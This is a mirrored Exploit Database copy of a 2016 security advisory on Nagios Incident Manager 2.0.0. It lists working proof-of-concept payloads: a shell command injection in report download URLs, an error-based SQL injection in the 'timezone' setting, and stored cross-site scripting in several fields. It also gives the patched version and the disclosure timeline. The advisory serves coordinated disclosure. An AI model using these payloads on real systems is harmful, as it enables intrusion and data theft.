Nagios Incident Manager 2.0.0 – Multiple Vulnerabilities

• Exploit Database
• 113 阅读

• 作者： Security-Assessment.com
  日期： 2016-08-16
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/40252/
• 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125

  (, ) (, . &apos;.&apos; ) (&apos;.&apos;, ). , (&apos;. ( ) ( (_,) .&apos;), ) _ _, /_____// _\________ _____ \____\==/ /_\\ _/ ___\/_ \ / \ / \/ |\\\__(<_> )Y Y\ /______/\___|__/ \___>____/|__|_|/ \/ \/.-.\/ \/:wq (x.0) &apos;=.|w|.=&apos; _=&apos;&apos;"&apos;&apos;=.   presents..   Nagios Incident Manager Multiple Vulnerabilities Affected versions: Nagios Incident Manager <= 2.0.0   PDF: http://www.security-assessment.com/files/documents/advisory/NagiosIncidentManager.pdf   +-----------+ |Description| +-----------+ The Nagios Incident Manager application is vulnerable to multiple vulnerabilities, including remote code execution via command injection, SQL injection and stored cross-site scripting.     +------------+ |Exploitation| +------------+ ==Command Injection== Multiple command injection vulnerabilities exist within the incident report file generation functionality as user input is passed to system shell calls without validation. A limited non-administrative user, who by default does not have permissions to add custom MIME types for incident file attachments, can exploit these vulnerabilities to obtain remote code execution on the Incident Manager system as the ‘apache’ user.   URL => /nagiosim/reports/download/<pdf|jpg>/mttr/<BASE64 PAYLOAD> Method => GET POC Payload => start_date=2016-05-06&end_date=2016-05-06&types[]=2" "";{touch,/tmp/MYFILE};echo   URL => /nagiosim/reports/download/<pdf|jpg>/closed/<BASE64 PAYLOAD> Method => GET POC Payload => start_date=2016-05-06&end_date=2016-05-06&types[]=2" "";{touch,/tmp/MYFILE};echo   URL => /nagiosim/reports/download/<pdf|jpg>/first_response/<BASE64 PAYLOAD> Method => GET POC Payload => start_date=2016-05-06&end_date=2016-05-06&types[]=2" "";{touch,/tmp/MYFILE};echo   URL => /nagiosim/reports/download/<pdf|jpg>/general/<BASE64 PAYLOAD> Method => GET POC Payload => start_date=2016-05-06&end_date=2016-05-06&types[]=2" "";{touch,/tmp/MYFILE};echo     ==SQL Injection== The Nagios IM admin functionality to update the application settings is vulnerable to an SQL Injection vulnerability via error-based payloads. An attacker can inject into the ‘timezone’ POST parameter and retrieve sensitive information from the application MySQL database.   URL => /nagiosim/admin/settings Method => POST Parameter => timezone Payload => Pacific/Samoa&apos; AND (SELECT 5323 FROM(SELECT COUNT(*),CONCAT(0x717a7a7171,(MID((IFNULL(CAST(DATABASE() AS CHAR),0x20)),1,54)),0x7170786a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND &apos;     ==Stored Cross-Site Scripting== Multiple stored cross-scripting vulnerabilities exist in the Nagios IM web interface, allowing a standard user to insert malicious JavaScript payloads into administrative and non-administrative application functionality. This attack vector could be used by an authenticated attacker with standard user privileges to hijack the session of an admin user and extend their permissions within the application (e.g. adding PHP as a valid MIME type for file attachments).   URL => /nagiosim/incidents/add Method => POST Parameters => title, summary, priority, file_description, status Render => /nagiosim/incidents, /nagiosim/incidents/details/<ID> POC Payload => <script>alert(1)</script>   URL => /nagiosim/api/incidents/<ID>/messages Method => POST Parameters => title Render => /nagiosim/incidents/details/<ID> POC Payload => <script>alert(1)</script>   URL => /nagiosim/profile Method => POST Parameters => username, first_name, last_name Render => /nagiosim/admin/users, Global Menu Banner (username) POC Payload => <script>alert(1)</script>   +----------+ | Solution | +----------+ Upgrade to Nagios Incident Manager 2.0.1     +------------+ |Timeline| +------------+ 2/06/2016 - Initial disclosure to vendor 3/06/2016 - Vendor acknowledges receipt of advisory 8/07/2016 - Vendor releases patched software version (2.0.1) 11/08/2016 – Public disclosure       +------------+ | Additional | +------------+ Further information is available in the accompanying PDF. http://www.security-assessment.com/files/documents/advisory/NagiosIncidentManager.pdf